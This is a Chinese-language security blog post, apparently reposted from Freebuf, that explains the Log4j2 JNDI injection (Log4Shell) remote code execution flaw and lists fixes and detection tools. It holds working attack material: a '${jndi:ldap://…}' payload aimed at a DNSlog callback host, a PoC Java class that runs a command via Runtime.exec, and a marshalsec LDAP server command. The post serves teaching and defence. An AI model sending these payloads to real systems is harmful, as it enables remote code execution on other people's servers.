Log4j遠端程式碼執行漏洞漫談

安全頻道發表於2022-02-25

對於一個能養活安全工程師的核彈級漏洞,就非常有必要研究一番了,希望能拋磚引玉。

1645601467_6215e2bba39d968dbf667.png!small

簡介

I 漏洞描述

Apache Log4j 是 Apache 的一個開源專案,Apache log4j-2 是 Log4j 的升級,我們可以控制日誌資訊輸送的目的地為控制檯、檔案、GUI元件等,通過定義每一條日誌資訊的級別,能夠更加細緻地控制日誌的生成過程。

Log4j-2中存在JNDI注入漏洞,當程式將使用者輸入的資料日誌記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標伺服器上執行任意程式碼。

II 漏洞原理

當log4j列印的日誌內容中包括 ${jndi:ldap://ip}時,程式就會通過Idap協議訪問ip這個地址,然後ip就會返回一個包含Java程式碼的class檔案的地址,然後程式再通過返回的地址下載class檔案並執行。

III 影響範圍

Apache Log4j 2.x < 2.15.0-rc2。

漏洞驗證:

1645601798_6215e406ba2ea953b6c36.png!small?1645601798887

Docker漏洞環境搭建完成 1645601841_6215e431b41c33c76ca93.png!small?1645601841688

訪問 顯示 1645601875_6215e45315c8c05bd4c86.png!small?1645601874982

頁面抓包 1645601896_6215e468cca4bb845577e.png!small?1645601896719

Change request POST method 1645601932_6215e48cec215e9581197.png!small?1645601932939

獲取子域名qsydek.dnslog.cn 1645601959_6215e4a7d9134d8ed0195.png!small?1645601959917

Post傳參c=${jndi:ldap://qsydek.dnslog.cn/exp} 1645601985_6215e4c12e6e156556447.png!small?1645601985231

漏洞驗證成功

漏洞復現:

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>

建立maven專案,匯入log4j的依賴

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:1389/Exploit}");
}
}

構造poc

public class Exploit {
static {
System.err.println("Pwned");
try {
String cmd = "calc";
Runtime.getRuntime().exec(cmd);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

構造Exploit.java

javac Exploit.java

編譯成class檔案

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "

開啟LDAP服務 1645602360_6215e638d694334c28b0d.png!small?1645602362234

執行Log4j.java,PWN!

漏洞修復

1>升級Apache Log4j2所有相關應用到最新版。

其他檢測手段

1> Log4j-scan 一款用於查詢log4j2漏洞的python指令碼,支援url檢測,支援HTTP請求頭和POST資料引數進行模糊測試。

1645715696_6217a0f0774a7d0adba17.png!small?1645715696742

特徵:

支援 URL 列表;

對 60 多個 HTTP 請求標頭進行模糊測試(不僅僅是以前看到的工具中的 3-4 個標頭);

對 HTTP POST 資料引數進行模糊測試;

對 JSON 資料引數進行模糊測試;

支援用於漏洞發現和驗證的 DNS 回撥;

WAF 繞過有效負載。

2>Log4j2 burp被動掃描外掛 1645716351_6217a37fa89387071f3d5.png!small?1645716351910

通過外掛的方式,將Log4j2漏洞檢測能力整合到burp

3> AWVS掃描log4j2漏洞

1645716602_6217a47a31083f45e11a0.png!small?1645716602386

AWVS14最新版本支援Log4j2漏洞檢測,支援批量掃描

4>製品級Log4j2漏洞檢測

1645716734_6217a4fedbd47c29da4eb.png!small?1645716735107

支援 Jar/Ear/War包上傳,一鍵上傳即可獲取到檢測結果(騰訊安全binAuditor)

5> Log4j2 本地檢測

1645716875_6217a58b8529248495fc0.png!small?1645716875861提取出來的Log4j2本地檢測工具,可快速發現當前伺服器存在風險的 log4j2 應用

隨著時間的推移,這個Log4j2中的RCE漏洞可能需要好幾年的時間才能得到解決,加強企業的應急檢測能力就是重中之重了。


來自 “ Freebuf ”, 原文作者:,;原文連結:https://www.freebuf.com/vuls/322949.html,如有侵權,請聯絡管理員刪除。

相關文章